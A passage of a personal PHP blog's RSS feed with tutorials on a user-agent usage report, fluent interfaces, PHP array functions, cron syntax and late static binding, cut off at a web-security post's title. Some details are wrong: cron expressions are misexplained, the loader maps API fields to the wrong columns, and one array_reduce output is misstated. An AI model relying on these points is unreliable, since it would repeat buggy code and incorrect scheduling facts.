            -&gt;runSelectQuery("SELECT MAX(usage_date) as lastdate FROM dailyuseragentuse;");

        return $recordSet['lastdate'];
    }

    protected function deleteUsageFromDate($lastDate)
    {
        $this-&gt;dbConnect-&gt;runQuery(
            "DELETE FROM dailyuseragentuse WHERE usage_date &gt;= :lastdate;", 
            [':lastdate' =&gt; $lastDate]
        );
    }

    protected function loadUserAgentFromDate($lastDate)
    {
        $this-&gt;loadNewUserAgentStrings($lastDate);
        $this-&gt;updateUserAgentInfo();
    }

    protected function loadNewUserAgentStrings($lastDate)
    {
        $this-&gt;dbConnect-&gt;runQuery(
            "INSERT INTO useragents (ua_string, insert_time)
            SELECT DISTINCT useragent, NOW()
            FROM viewlog
            WHERE viewtime &gt;= :lastdate
            AND useragent NOT IN (SELECT ua_string FROM useragents)
            GROUP BY useragent;", 
            [':lastdate' =&gt; $lastDate]
        );
    }

    protected function loadUsageFromDate($lastDate)
    {
        $this-&gt;dbConnect-&gt;runQuery(
            "INSERT INTO dailyuseragentuse (useragent_id, usage_date, usage_count)
            SELECT ua.id, log.viewtime::date, count(*)
            FROM viewlog log
            LEFT JOIN useragents ua ON (log.useragent = ua.ua_string)
            WHERE viewtime &gt;= :lastdate
            GROUP BY ua.id, log.viewtime::date;", 
            [':lastdate' =&gt; $lastDate]
        );
    }

    protected function updateUserAgentInfo()
    {
        $dbAgents = $this-&gt;dbConnect-&gt;runSelectQuery(
            "SELECT ua_string FROM useragents WHERE update_time IS NULL;"
        );

        foreach($dbAgents as $agent){
        
            $ua = urlencode($agent['ua_string']);
            $ch = curl_init();
            $url = "http://www.useragentstring.com/?uas={$ua}&amp;getJSON=agent_name-agent_version-os_name";
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        
            $apiResult = json_decode(curl_exec($ch));
            $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
        
            $this-&gt;dbConnect-&gt;runQuery(
                "UPDATE useragents 
                SET os_name = :osname, browser_name = :browsername, 
                    browser_version = :browserversion, update_time = NOW()
                WHERE ua_string = :uas;",
                [
                    ':osname' =&gt; $apiResult-&gt;agent_name,
                    ':browsername' =&gt; $apiResult-&gt;agent_version, 
                    ':browserversion' =&gt; $apiResult-&gt;os_name, 
                    ':uas' =&gt; $agent['ua_string']
                ]
            );
        
        }
    }
}
</code></pre><figcaption>Usage stats loader</figcaption></figure><p>Given this, a <a href="https://samuelrebollo.com/set-up-cron-job">cron job</a> could be used to execute <code>UsageStatsLoader::loadTables()</code> every Sunday (the day of least activity of our app). This would ensure that our stats are updated enough and that we won't lose old usage data due to the viewlog table being cleared every 90 days.</p><p>Our model contains now the data, ready to be queried. This data is non-volatile, ie, we won't need to manually update/edit, delete or create new records. Historical data will be kept and will only be used for informational purposes.</p><p>To query this data, we could use a simple controller script to receive a GET request with the following parameters: system type (either browser or OS), and date range ("from" and "to" dates). Then, the controller would return a json string with the desired data:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

/* 
 * This is not production-quality code. 
 * It has been optimized for readability and understanding.
 */
 
 /* ... */
 
$dbConnect = new DbConnect($db);

if($_GET['systemtype'] == 'browser')
{
    $fieldString = "CONCAT(browser_name, '', COALESCE(browser_version, '')) AS name";
}
else
{
    $fieldString = "os_name AS name";
}

$usageData = $dbConnect-&gt;runSelectQuery(
    "SELECT {$fieldString}, SUM(usage_count) AS count
    FROM dailyuseragentuse duse 
    LEFT JOIN useragents ua ON (duse.useragent_id = ua.id)
    WHERE duse.usage_date BETWEEN :datefrom AND :dateto
    GROUP BY name;",
    [':datefrom' =&gt; $_GET['from'] , ':dateto' =&gt; $_GET['to']]
);

echo json_encode($usageData);
</code></pre><figcaption>Usage stats controller (usageStatsController.php)</figcaption></figure><h3 id="client-side">Client side</h3><p>The main target of any informational system is reporting, used for decision support. Visual analysis is the simplest systematic approach for making decisions. On the client side we are going to develop a simple end-user reporting tool. We only need a page to display a form with the required parameters and asynchronously send a request with them. Then, the JSON data received will be used to render a bubble graph. </p><p>In order to make things as simple as possible and make my life easier, I've used a bunch of external things, like Bootstrap to display a nice enough form, jQuery to make the AJAX call and jQuery UI to display datepickers. Lastly, I have developed a simple <a href="https://d3js.org/">D3 graph</a>. D3 is a JavaScript library for creating visual representations of data. It is very powerful and the web is full of examples.</p><figure class="kg-card kg-code-card"><pre><code class="language-HTML">&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
	&lt;meta charset="utf-8"&gt;
		&lt;title&gt;Browser and OS usage report&lt;/title&gt;
		&lt;script type="text/javascript" src="https://d3js.org/d3.v4.min.js"&gt;&lt;/script&gt;
        &lt;link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"&gt;
        &lt;link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css"&gt;
        &lt;script src="https://code.jquery.com/jquery-1.12.4.js"&gt;&lt;/script&gt;
        &lt;script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;nav class="navbar navbar-fixed-top"&gt;
      &lt;div class="container"&gt;
        &lt;div class="navbar-header"&gt;
          &lt;a class="navbar-brand"&gt;Usage report&lt;/a&gt;
        &lt;/div&gt;
        &lt;div id="navbar" class="navbar-collapse collapse"&gt;
        &lt;form id="usageStatsForm" class="navbar-form navbar-left" role="search"&gt;
            &lt;div class="form-group"&gt;
                &lt;select name="usageparam" class="form-control"&gt;
                    &lt;option&gt;Browser&lt;/option&gt;
                    &lt;option&gt;OS&lt;/option&gt;
                &lt;/select&gt;
            &lt;/div&gt;            
            &lt;div class="form-group"&gt;
                &lt;input name="from" type="text" class="form-control date" placeholder="from"&gt;
                &lt;input name="to" type="text" class="form-control date" placeholder="to"&gt;
            &lt;/div&gt;
            &lt;button type="submit" class="btn btn-default"&gt;Submit&lt;/button&gt;
        &lt;/form&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/nav&gt;
    &lt;svg id="chart"&gt;&lt;/svg&gt;
	&lt;script type="text/javascript"&gt;

        $(document).ready(function(){
        $("#usageStatsForm").submit(function(event){
            event.preventDefault();
            $.ajax(
                {
                    url: "/usagedata",
                    data: $("#usageStatsForm").serialize(),
                    success: function(response){
                        drawBubleChart({ children : response });
                    }
                });
            });
        });

        function drawBubleChart(dataset) {
            var diameter = 800;
            var color = d3.scaleOrdinal(d3.schemeCategory10);
            var totalUsage = dataset.children.reduce(
                function(sum, current) { return sum + parseInt(current.count); }, 0); 

            var bubble = d3.pack(dataset)
                .size([diameter, diameter])
                .padding(1);

            var svg = d3.select("#chart")
                .attr("width", diameter)
                .attr("height", diameter)
                .attr("class", "bubble");

            var nodes = d3.hierarchy(dataset)
                .sum(function(d) { return d.count; });

            var node = svg.selectAll(".node")
                .data(bubble(nodes).descendants())
                .enter()
                .filter(function(d){
                    return  !d.children
                })
                .append("g")
                .attr("class", "node")
                .attr("transform", function(d) {
                    return "translate(" + d.x + "," + d.y + ")";
                });

            node.append("title")
                .text(function(d) {
                    return d.data.name + ": " + d.data.count;
                });

            node.append("circle")
                .attr("r", function(d) {
                    return d.r;
                })
                .style("fill", function(d,i) {
                    return color(i);
                });

            node.append("text")
                .attr("dy", ".2em")
                .style("text-anchor", "middle")
                .text(function(d) {
                    return d.data.name.substring(0, d.r / 3);
                })
                .attr("font-family", "sans-serif")
                .attr("font-size", function(d){
                    return d.r/5;
                })
                .attr("fill", "white");

            node.append("text")
                .attr("dy", "1.3em")
                .style("text-anchor", "middle")
                .text(function(d) {
                    return Math.round(d.data.count / totalUsage * 10000) / 100 + "%";
                })
                .attr("font-family",  "sans-serif")
                .attr("font-size", function(d){
                    return d.r/5;
                })
                .attr("fill", "white");

            d3.select(self.frameElement)
                .style("height", diameter + "px");
        }
    &lt;/script&gt;
    &lt;script&gt;
        $(function() { $(".date" ).datepicker(); });
    &lt;/script&gt;
    &lt;script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"&gt;&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre><figcaption>Reporting front-end</figcaption></figure><h3 id="results">Results</h3><p>After executing this report for the month of November this year, I got the report below. Most browser usage is done in Chrome, being pretty much up to date in version. After that we have IE9 as the second most used browser. IE11 and IE 7 follow the ranking. As we can observe, Internet Explorer users don't upgrade their software often, which may be due to the fact that our users belong to institutios which often don't allow users manage their own systems. As we can see in the below graph, IE7 is still used in a 9% of cases, a number high enough to consider holding off the JavaScript upgrade we intended to do. Perhaps we could use the information we held in the view log to try and target the IE7 users for an email campaign recomending them to upgrade their systems.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://samuelrebollo.com/content/images/2020/08/Screenshot-2020-08-12-at-17.25.52.png" class="kg-image" alt="User Agent String, usage statistics and reporting" width="949" height="837" srcset="https://samuelrebollo.com/content/images/size/w600/2020/08/Screenshot-2020-08-12-at-17.25.52.png 600w, https://samuelrebollo.com/content/images/2020/08/Screenshot-2020-08-12-at-17.25.52.png 949w" sizes="(min-width: 720px) 720px"><figcaption>Browser Usage November 2017</figcaption></figure><p>When it comes to operating systems, Windows 7 overwhelmingly wins over the rest of the OS with more than 90% of usage being from Windows 7. As a curious note, there is a fair amount of users that use our application from mobile devices, even though it is not responsive yet, so it is not comfortable to see from a mobile phone.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://samuelrebollo.com/content/images/2020/08/Screenshot-2020-08-12-at-17.27.58.png" class="kg-image" alt="User Agent String, usage statistics and reporting" width="973" height="831" srcset="https://samuelrebollo.com/content/images/size/w600/2020/08/Screenshot-2020-08-12-at-17.27.58.png 600w, https://samuelrebollo.com/content/images/2020/08/Screenshot-2020-08-12-at-17.27.58.png 973w" sizes="(min-width: 720px) 720px"><figcaption>Operating System Usage November 2017</figcaption></figure><h2 id="conclusion">Conclusion</h2><p>It looks like we will be putting off the JavaScript update. However, I hope that with this project, readers have learned a bit about the user agent string and some basic principles of informational platforms. I have enjoyed combining the knowledge I earned in my first job as a BI developer, with the web engineering discipline to which I now dedicate myself.</p>]]></content:encoded></item><item><title><![CDATA[Fluent interface for method chaining in PHP]]></title><description><![CDATA[<p>I am currently doing some research to choose between one of the most popular PHP frameworks for my next project. I have experience using codeigniter and Yii, which are starting to be fairly low in the popularity scale nowadays. They are simple, straightforward and do the job, so I'm still</p>]]></description><link>https://samuelrebollo.com/php-fluent-interface/</link><guid isPermaLink="false">5f568ebc5296fd2b670b12b9</guid><category><![CDATA[PHP fundamentals]]></category><category><![CDATA[PHP]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Wed, 25 May 2016 21:20:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1531336116302-40e29aad0016?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=2000&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1531336116302-40e29aad0016?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=2000&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Fluent interface for method chaining in PHP"><p>I am currently doing some research to choose between one of the most popular PHP frameworks for my next project. I have experience using codeigniter and Yii, which are starting to be fairly low in the popularity scale nowadays. They are simple, straightforward and do the job, so I'm still happy to use them but I tend to try something new for every project I start in order to try and keep my skills up to date.</p><p>I've been playing around with Laravel and Symfony, which are the most popular frameworks right now. Laravel is quite new and wining in the popularity scale whereas Symfony has been properly stablished for some time now and is quite a robust and sophisticated framework. This, has made me discover a programming concept I didn't know that both of these frameworks use: <strong>fluent interface</strong> for method chaining. It's a very simple concept and it is almost surprising that it has a name, however I did find it weird at the begining since I wasn't familiar with the concept.</p><p>Fluent interface is an object-oriented construct that allows you to chain method calls that apply multiple operations on the same object, resulting in a more readable  code. It is thus <a href="https://en.wikipedia.org/wiki/Syntactic_sugar">syntactic sugar</a> that eliminates the need to list the object repeatedly. For example, fluent interface allows us to write:</p><pre><code class="language-PHP">&lt;?php

$client = new Client();
$client-&gt;setName('John')-&gt;setSurname('Smith')-&gt;setEmail('johnsmith@smythgn.com');</code></pre><p>instead of</p><pre><code class="language-PHP">&lt;?php

$client = new Client()
$client-&gt;setName('John')
$client-&gt;setSurname('Smith')
$client-&gt;setEmail('johnsmith@smythgn.com');</code></pre><h3 id="how-to-achieve-this">How to achieve this?</h3><p>The answer is simple. On the Client class' setters, return a reference to the object being modified with <code>$this</code>:</p><pre><code class="language-PHP">&lt;?php

class Client
{
    private string $name;
    private string $surname; 
    private string $email;

    public function setName(string $name)
    {
        $this-&gt;name = $name;

        return $this;
    }

    public function setSurname(string $surname)
    {
        $this-&gt;surname = $surname;

        return $this;
    }

    public function setEmail(string $email)
    {
        $this-&gt;email = $email;

        return $this;
    }

    public function __toString()
    {
        return "Name: {$this-&gt;name} {$this-&gt;surname }, email: {$this-&gt;email}";
    }
}
</code></pre><p>Now, we can call the methods as in the first example above:</p><pre><code class="language-PHP">&lt;?php

$client = (new Client())
				-&gt;setName('John')
				-&gt;setSurname('Smith')
				-&gt;setEmail('johnsmith@smythgn.com');
print $client;
// Name: John Smith, email: johnsmith@smythgn.com</code></pre><p>As a final comment, I think the main drawback (there's no free lunch) is that debugging errors can be a bit more difficult. It makes, however, the code more readable and there are less characters to be typed, then resulting in a quicker programming experience.</p>]]></content:encoded></item><item><title><![CDATA[Array operations: array_map, array_filter, array_reduce]]></title><description><![CDATA[<p>As a php engineer, I’m used to using arrays for everything. Arrays in php are very versatile they can work as a traditional integer-indexed array. They can work as a hashmap or associative array, using a string as an index, which can be descriptive of the value it indexes.</p>]]></description><link>https://samuelrebollo.com/array-operations-map-filter-reduce/</link><guid isPermaLink="false">5f2444025296fd2b670b01f1</guid><category><![CDATA[PHP fundamentals]]></category><category><![CDATA[PHP]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Wed, 20 Apr 2016 16:20:00 GMT</pubDate><content:encoded><![CDATA[<p>As a php engineer, I’m used to using arrays for everything. Arrays in php are very versatile they can work as a traditional integer-indexed array. They can work as a hashmap or associative array, using a string as an index, which can be descriptive of the value it indexes. Finally they can be multidimensional arrays, containing multiple arrays within it, that can be accessed via multiple indexes.</p><h2 id="integer-indexed-array">Integer-indexed array</h2><p>This type of array can be used to store any type of element, but indexes are always integers. Indexes start at zero by default and are incrementally assigned unless explicitly used.</p><pre><code class="language-php">&lt;?php 
  
// Indexed array:
$fruits = [‘banana’, ‘apple’, ‘peach’, ‘melon’];

// accessing array:
echo $fruits[0];
// banana
echo $fruits[1];
// apple
echo $fruits[2];
// peach
echo $fruits[3];
// melon

// Another way to initialise arrays
$otherFruits = [];
$otherFruits[0] = ‘kiwi’;
$otherFruits[1] = ‘orange’;
$otherFruits[3] = ‘pear’;

// accessing array:
echo $otherFruits[0];
// kiwi
echo $otherFruits[1];
// orange
echo $otherFruits[2];
// null
echo $otherFruits[3];
// pear
</code></pre><h2 id="associative-array">Associative array</h2><p>Associative arrays differ from integer-indexed ones in the sense that associative arrays are indexed by strings. Descriptive names can be used for the information they hold.</p><pre><code class="language-php">&lt;?php 
  
// Associative array:
$user = [
	‘name’ =&gt; ‘John Smith’,
	‘email’ =&gt; ‘john@smith.com’,
	‘address’ =&gt; ’52 York St.’
];

echo $user[‘name’];
// John Smith</code></pre><h2 id="multidimensional-arrays">Multidimensional arrays</h2><p>These arrays contain other nested arrays. They can be used, for example, to hold a two-dimensional numeric matrix or a database recordset.</p><pre><code class="language-php">&lt;?php

// letter matrix
$graph = [];

$graph[0] = [‘a’, ‘b’, ‘c’];
$graph[1] = [‘d’, ‘e’, ‘f’];
$graph[2] = [‘g’, ‘h’, ‘I’];

echo $graph[1][0]
// d

// db recordset

$users = [
    [
        ‘name’ =&gt; ‘John Smith’,
        ‘email’ =&gt; ‘john@smith.com’,
        ‘address’ =&gt; ’52 York St.’
    ],
    [
        ‘name’ =&gt; ‘Joseph Jones’,
        ‘email’ =&gt; ‘joe@jones.com’,
        ‘address’ =&gt; ’25 Victoria St.’
    ],
    [
        ‘name’ =&gt; ‘Rupert Nigels’,
        ‘email’ =&gt; ‘rupert@nigels.com’,
        ‘address’ =&gt; ’38 Stratford Ln.’
    ],
];

echo $users[1]['name'];
// Joseph Jones

</code></pre><p>php has a very rich library of very useful <a href="https://www.php.net/manual/en/ref.array.php">array functions</a>, three of which I find particularly useful. Those are <a href="https://www.php.net/manual/en/function.array-map.php">array_map</a>, <a href="https://www.php.net/manual/en/function.array-reduce.php">array_reduce</a> and <a href="https://www.php.net/manual/en/function.array-filter.php">array_filter</a>.</p><h2 id="array_map">array_map</h2><p>Say you have received an associative array containing a database record set, each one representing a user but what you really need is an array containing only the list of emails.</p><pre><code class="language-php">// what you have

$users = [
    [
    	'id' =&gt; 1,
        ‘name’ =&gt; ‘John Smith’,
        ‘email’ =&gt; ‘john@smith.com’,
        ‘address’ =&gt; ’52 York St.’,
        'admin' =&gt; 1
    ],
    [
	    'id' =&gt; 2,
        ‘name’ =&gt; ‘Joseph Jones’,
        ‘email’ =&gt; ‘joe@jones.com’,
        ‘address’ =&gt; ’25 Victoria St.’,
        'admin' =&gt; 0
    ],
    [
	    'id' =&gt; 3,
        ‘name’ =&gt; ‘Rupert Nigels’,
        ‘email’ =&gt; ‘rupert@nigels.com’,
        ‘address’ =&gt; ’38 Stratford Ln.’,
        'admin' =&gt; 0
    ],
];

// what you need

$emailList = [‘john@smith.com’, ‘joe@jones.com’, ‘rupert@nigels.com’];

</code></pre><p>You could achieve this by iterating over the array and filling an empty array with the email addresses:</p><pre><code class="language-php">$emailList = [];
foreach($users as $user)
{
	$emailList[] = $user['email'];
}</code></pre><p>However, with <code>array_map</code> you can achieve this in a single function call. The function <code>array_map</code> takes an anonymous function as the first parameter and the input array as the second parameter:</p><pre><code class="language-php">$emailList = array_map(function($element){ return $element['email']; }, $users);</code></pre><h2 id="array_filter">array_filter</h2><p>If you have an array, but only need some of the elements in it, you can use the <code>array_filter</code> function. It takes an anonymous function as a second parameter that should return true for the element to be returned in the result array. Let's say you need the users that are admin:</p><pre><code class="language-php">$adminUsers = array_filter($users, function($element){ return $element['admin'] == 1; });</code></pre><h2 id="array_reduce">array_reduce</h2><p>This function is my favourite one, it reduces the array to a single value. This return value can be pretty much anything (integer, string, etc.) and an initial value must be passed when calling <code>array_reduce</code>.</p><p>Let's say we need to have a string containing the names of all users, separated by commas: </p><pre><code class="language-php">$userString = array_reduce($users, function($carry, $item){ return $carry . ", " . $item['name']; }, 'Unnamed User');

// returns "Unnamed User, John Smith, Jospeh Jones, Rupert Nigels"</code></pre><h2 id="what-s-wrong-with-foreach">What's wrong with foreach?</h2><p>Nothing. You can keep using foreach loops for these operations. I used to refuse to use these functions because I though my code was more readable using foreach. However, some operations are so common that it feels ridiculous to keep repeating foreach loops for them, and they are even more common if you work with data that came from an API.</p><h2 id="other-array-functions">Other array functions</h2><p>As I said earlier, php has a very rich library of array functions. Try to replace some of your foreach loops with them where it seems to fit. Your code will be less clunky and much easier to read. Other functions I use are: <code>array_column</code>, <code>array_walk</code>, <code>array_search</code>, <code>array_combine</code>, check them out!</p>]]></content:encoded></item><item><title><![CDATA[Setting up a basic Cron Job on a server]]></title><description><![CDATA[<p>One of the most common and useful jobs one may come across when working with any kind of long term project involving basic systems administration is to set up scheduled tasks to be executed automatically at a planned time. This can be achieved by using <a href="https://en.wikipedia.org/wiki/Cron">Cron</a>, a time-based task scheduler</p>]]></description><link>https://samuelrebollo.com/set-up-cron-job/</link><guid isPermaLink="false">5f26d6d95296fd2b670b025d</guid><category><![CDATA[Unix]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Cron]]></category><category><![CDATA[Systems Administration]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Fri, 05 Feb 2016 15:47:00 GMT</pubDate><media:content url="https://samuelrebollo.com/content/images/2020/08/aron-visuals-BXOXnQ26B7o-unsplash.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://samuelrebollo.com/content/images/2020/08/aron-visuals-BXOXnQ26B7o-unsplash.jpg" alt="Setting up a basic Cron Job on a server"><p>One of the most common and useful jobs one may come across when working with any kind of long term project involving basic systems administration is to set up scheduled tasks to be executed automatically at a planned time. This can be achieved by using <a href="https://en.wikipedia.org/wiki/Cron">Cron</a>, a time-based task scheduler you can find in Unix-like operating systems. It can be used for running scheduled backups, monitoring disk space, execute health checks, running system maintenance tasks and similar jobs. </p><h3 id="basic-terminology">Basic terminology</h3><ul><li>A task scheduled through <em>Cron</em> is called a c<em>ron job</em>.</li><li>Cron has a program that runs in the background all the time (<a href="https://en.wikipedia.org/wiki/Daemon_(computing)">daemon</a>) that is responsible for launching these cron jobs on schedule.</li><li>The schedule resides in a configuration file named <em>crontab.</em></li></ul><h3 id="cron-syntax">Cron syntax</h3><p>Here is an example cron job:</p><pre><code class="language-terminal">10 * * * * /usr/bin/php /var/www/scheduled/cron.php &gt; /dev/null 2&gt;&amp;1</code></pre><p>Parts of a cron job:</p><!--kg-card-begin: html--><table>
    <tr><th>timing</th><th>command</th><th>script</th><th>output</th></tr>
    <tr><td>10 * * * *</td><td>/usr/bin/php</td><td>/var/www/scheduled/cron.php</td><td>> /dev/null 2>&1
        </td></tr>
</table><!--kg-card-end: html--><ul><li><strong>Timing:</strong> set the minutes, hours, days, months, and weekday settings. In the example, this job is being executed every 10 minutes.</li><li><strong>Command:</strong> in this case, we're executing a php script, so we need to call <code>/usr/bin/php</code>.</li><li><strong>Script:</strong> the path of the script to run.</li><li><strong>Output: </strong>(optional) you can write the output to a file or discard it with <code>&gt; /dev/null 2&gt;&amp;1</code>.</li></ul><h3 id="timing-syntax">Timing syntax</h3><p>The first part of the cron job string determines how often and when the cron job is going to run. It consists of five parts:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://samuelrebollo.com/content/images/2020/08/image.png" class="kg-image" alt="Setting up a basic Cron Job on a server" width="652" height="185" srcset="https://samuelrebollo.com/content/images/size/w600/2020/08/image.png 600w, https://samuelrebollo.com/content/images/2020/08/image.png 652w"><figcaption>cron job format</figcaption></figure><h3 id="create-a-cron-job">Create a Cron job</h3><p>To display the contents of the <strong>crontab</strong> file of the current user:</p><pre><code class="language-terminal">crontab -l</code></pre><p>To edit the current user's cron jobs:</p><pre><code class="language-terminal">crontab -e</code></pre><p>I use <a href="https://en.wikipedia.org/wiki/Vi">vi editor</a>, as it is the most common and default text editor un Unix-like systems. If you are not familiar with <a href="https://www.washington.edu/computing/unix/vi.html">its use</a>, I'm sure a quick Google search can help you. Here is a quick simple guide for this purpose.</p><ol><li>Type <code>crontab -e</code></li><li>Press <strong>&lt;esc&gt;</strong></li><li>Press <code>i</code> (for "insert") to begin editing the file.</li><li>Append your Cron command.</li><li>Press <strong>&lt;esc&gt;</strong> again to exit insert mode.</li><li>Type  <code>wq</code> to save and exit the file.</li></ol><h3 id="examples">Examples</h3><!--kg-card-begin: html--><table>
    <tr>
        <th>sintax</th>
        <th>description</th>
    </tr>
    <tr>
        <td>
            * * * * *
        </td>
        <td>
            run a cron job at every minute.
        </td>
    </tr>

    <tr>
        <td>
            */5 * * * *
        </td>
        <td>
            Run cron job at every 5th minute. For example if the time is 10:00, the next job will run at 10:05, 10:10, 10:15 and so on.
        </td>
    </tr>

    <tr>
        <td>
            30 * * * *
        </td>
        <td>
            Run a cron job every hour at minute 30. For example if the time is 10:00, the next job will run at 10:30, 11:30, 12:30 and so on.

        </td>
    </tr>
    <tr>
        <td>
            0 */2 * * *
        </td>
        <td> Run a job every 2 hours:
            For example if the time is now 10:00, the next job will run at 12:00.
        </td>
    </tr>
    <tr>
        <td>
            0 7 * * *
        </td>
        <td>
            Run a job every day at 7am:
        </td>
    </tr>
    <tr>
        <td>
            0 0 * * TUE <b>or</b>
            0 0 * * 0
        </td>
        <td>
            Run a job every Tuesday at 00:00
        </td>
    </tr>
    <tr>
        <td>
            25 17 1 * *
        </td>
        <td>
            Run a job at 17:25 on day 1 of the month:    
        </td>
    </tr>
    <tr>
        <td>
            5 0 * 8 *
        </td>
        <td>
            Run a job on a specific month at a specific time: The job will be executed at 00:05, every day of August.
        </td>
    </tr>
    <tr>
        <td>


            0 0 1 */6 *
        </td>
        <td>
            Run a job at 00:00 on day-of-month 1 in every 6th month.
            
        </td>
    </tr>
   
</table><!--kg-card-end: html--><h3 id="conclusion">Conclusion</h3><p>I hope this simple guide has been useful to the reader. I personally always have to lookup the syntax every time I setup a Cron job, as it isn't very often. I usually aid my setup by using <a href="https://crontab-generator.org/">this generator</a> and <a href="https://crontab.guru">this editor</a> to help me remember.</p>]]></content:encoded></item><item><title><![CDATA[PHP late static binding]]></title><description><![CDATA[<p>Being PHP an interpreted language, we don't need to compile our programs ourselves. However, that doesn't mean it is never complied. The PHP interpreter compiles and runs it for us so there is still these two phases: compile time and run time. Static properties get their values on run time.</p>]]></description><link>https://samuelrebollo.com/php-late-static-binding/</link><guid isPermaLink="false">5f3e608d5296fd2b670b08f2</guid><category><![CDATA[PHP fundamentals]]></category><category><![CDATA[PHP]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Wed, 20 Jan 2016 19:00:00 GMT</pubDate><content:encoded><![CDATA[<p>Being PHP an interpreted language, we don't need to compile our programs ourselves. However, that doesn't mean it is never complied. The PHP interpreter compiles and runs it for us so there is still these two phases: compile time and run time. Static properties get their values on run time.</p><h3 id="eh-static">Eh... Static?</h3><p>A class property or method declared as static makes them accessible without needing an instantiation of the class. They belong to the class, rather than the object that instantiates it.</p><h3 id="late-static-binding">Late Static Binding</h3><p>I recently discovered a PHP feature with which I wasn't familiar. It is called <a href="https://www.php.net/manual/en/language.oop5.late-static-bindings.php">late state binding</a> and it is used 'to reference the called class in a context of static inheritance'. This means, for example, that if you need to access a static method from an inherited class, you need to use the keyword <code>static</code>, rather than <code>self</code>.</p><h3 id="what-s-wrong-with-self-">What's wrong with 'self::'</h3><p>Nothing is wrong with <code>self</code> but it has its limitations, a static reference to the current class with <code>self</code>, is resolved using the class in which the function belongs. That way if a class extends another with a static method, a call to <code>self</code> will return the parent class' static method, instead of the child's.</p><h2 id="example">Example</h2><p>While investigating how this works, I've come across tutorials and articles providing abstract examples to show how late static binding works, but not how one actually uses it. I've to say that when I see code examples with an abstract 'Vehicle' class, that is extended by 'Car' and 'Motorbike' or something of the kind, I stop reading. With this example, I'd like to provide a real world example of how to use late static binding. The example, though, is fabricated and the problem could be modelled without the need to use a static method, but we will be looking at an educational code example with a real-world application.</p><p>The code below, contains an implementation of a data file parser. We would like to be able to parse text files with .csv or .tsv format.</p><pre><code class="language-PHP">&lt;?php

abstract class DataFileParser
{
    abstract public static function getFieldDelimiter();
    
    public function parseFile($path, $headers = false)
    {
        $fileHandler = fopen($path, "r");
        $delimiter = static::getFieldDelimiter();

        if ($headers)
        {
            $headersLine = fgets($fileHandler);
            $fieldHeaders = explode($delimiter, $headersLine);
        }

        $returnArray = [];
        while (!feof($fileHandler))
        {
            $line = fgets($fileHandler);
            $row = explode($delimiter, $line);

            if ($headers)
            {
                $returnArray[] = array_combine($fieldHeaders, $row);
            }
            else
            {
                $returnArray[] = $row;
            }
        }

        fclose($fileHandler);

        return $returnArray;
    }
}

class CsvFileParser extends DataFileParser
{
    public static function getFieldDelimiter()
    {
        return ",";
    }
}


class TsvFileParser extends DataFileParser
{
    public static function getFieldDelimiter()
    {
        return "\t";
    }
}</code></pre><p>This code, contains the abstract class <code>DateFileParser</code> with the abstract method <code>getFieldDelimiter</code>, which will return the caracter delimiting each field in a row of data within the file. The other two classes <code>CsvFileParser</code> and <code>TsvFileParser</code> need to implement the <code>getFieldDelimiter</code> method to provide the delimiter character.</p><p>Then, the method <code>parseFile</code> performs the parsing, calling the former method on line 10.</p><pre><code class="language-PHP">$delimiter = static::getFieldDelimiter();</code></pre><p>In this line, the class that 'static' represents is either <code>CsvFileParser</code> or <code>TsvFileParser</code>, depending on which one is calling the method. These classes don't need to redefine the <code>parseFile</code> method, as they will be correctly calling their own <code>getFieldDelimiter</code> thanks to the use of <code>static::</code></p><h2 id="conclusion">Conclusion</h2><p>This article doesn't intend to be an exhaustive explanation of late static binding or the uses of the <code>static</code> keyword in php. It is rather to provide a believable example of its use, simple enough to be easily understood but real enough not to sound ridiculous. The example could be modelled without using a static method or could use the <a href="https://www.php.net/manual/en/function.fgetcsv.php">fgetcsv</a> php function.</p>]]></content:encoded></item><item><title><![CDATA[Common web security vulnerabilities: XSS, CSRF and SQL injection]]></title><description><![CDATA[<p>Since I've been a web engineer, I have come across the most common security problems a web application may fall into. In this post, I'd like to explore the main ones and how to prevent them. Security on the web depends on a variety of instruments, including an elemental concept</p>]]></description><link>https://samuelrebollo.com/common-web-security-vulnerabilities/</link><guid isPermaLink="false">5f577ea75296fd2b670b13ce</guid><category><![CDATA[Web concepts]]></category><category><![CDATA[PHP]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Sun, 08 Nov 2015 19:38:00 